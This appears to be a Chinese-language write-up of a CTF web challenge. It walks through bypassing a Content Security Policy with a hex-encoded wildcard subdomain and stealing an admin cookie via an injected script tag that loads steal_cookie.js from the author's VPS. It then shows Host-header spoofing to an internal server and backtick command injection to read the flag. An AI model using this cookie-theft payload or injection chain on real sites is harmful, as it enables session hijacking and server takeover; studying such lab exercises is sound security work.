Web
题目:
打开之后其实是一个HTML5网站。使用Burp抓包,可以看到使用了CSP策略。
使用https://csp-evaluator.withgoogle.com/进行CSP检测,发现script-src存在安全问题。
最终在网页底部发现d8a50228.ip.no.vulnerable.services,访问后发现内容和当前网站一致。
可以发现d8a50228疑似Hex字符串,使用https://www.browserling.com/tools/hex-to-ip进行解析,发现是一个IP地址:216.165.2.40。
Ping一下题目网址,果然就是上面的IP地址。
将自己的VPS地址转换为Hex格式,进一步访问2d3e6213. ip.no.vulnerable.services,果然是访问的我的VPS网站。
由于CSP中存在script-src *.no.vulnerable.services,所以现在我们能绕过CSP保护了。而且服务器上的bot会check下面的提交内容。
左边的邮件地址任意,右边内容填上如下脚本:
1 | <script type="text/javascript" src="http://2d3e6213.ip.no.vulnerable.services/steal_cookie.js"></script> |
因为直接使用apache2无法拦截到请求数据,所以这里在VPS上service apache2 stop关掉服务,并使用如下python服务端脚本。
1 | #!/usr/bin/env python |
上传到VPS网站目录下,监听80端口,接着将js提交check后,将会返回管理员的cookie和后台地址。
使用上面的cookie登录后台,形如
其中Support链接打不开,Load Balancers打开后形如:
上面我们已经知道直接访问support.no.vulnerable.services是不通的,既然有负载均衡器了,那么216.165.2.41极大可能是一个代理服务器。访问216.165.2.41并抓包,将请求头里的host修改为support.no.vulnerable.services,可以看到有回显了。
看来需要绕过,那么ping一下上面那个网址,下面是linux和windows在ping时的差异。
于是知道了其内网IP地址172.16.2.5,将其转换为Hex字符串。
将ac100205.ip.no.vulnerable.services添加到Host里去。
进去之后长这样。
接着还是要抓包改Host才能执行成功。
这很明显是一个命令执行漏洞了。经测试发现使用反引号可执行。
首先ls发现根目录下有flag.txt,接着cat出来,注意使用%20代替空格。
最终得到本题flag: flag{7672f158167cab32aebc161abe0fbfcaee2868c1}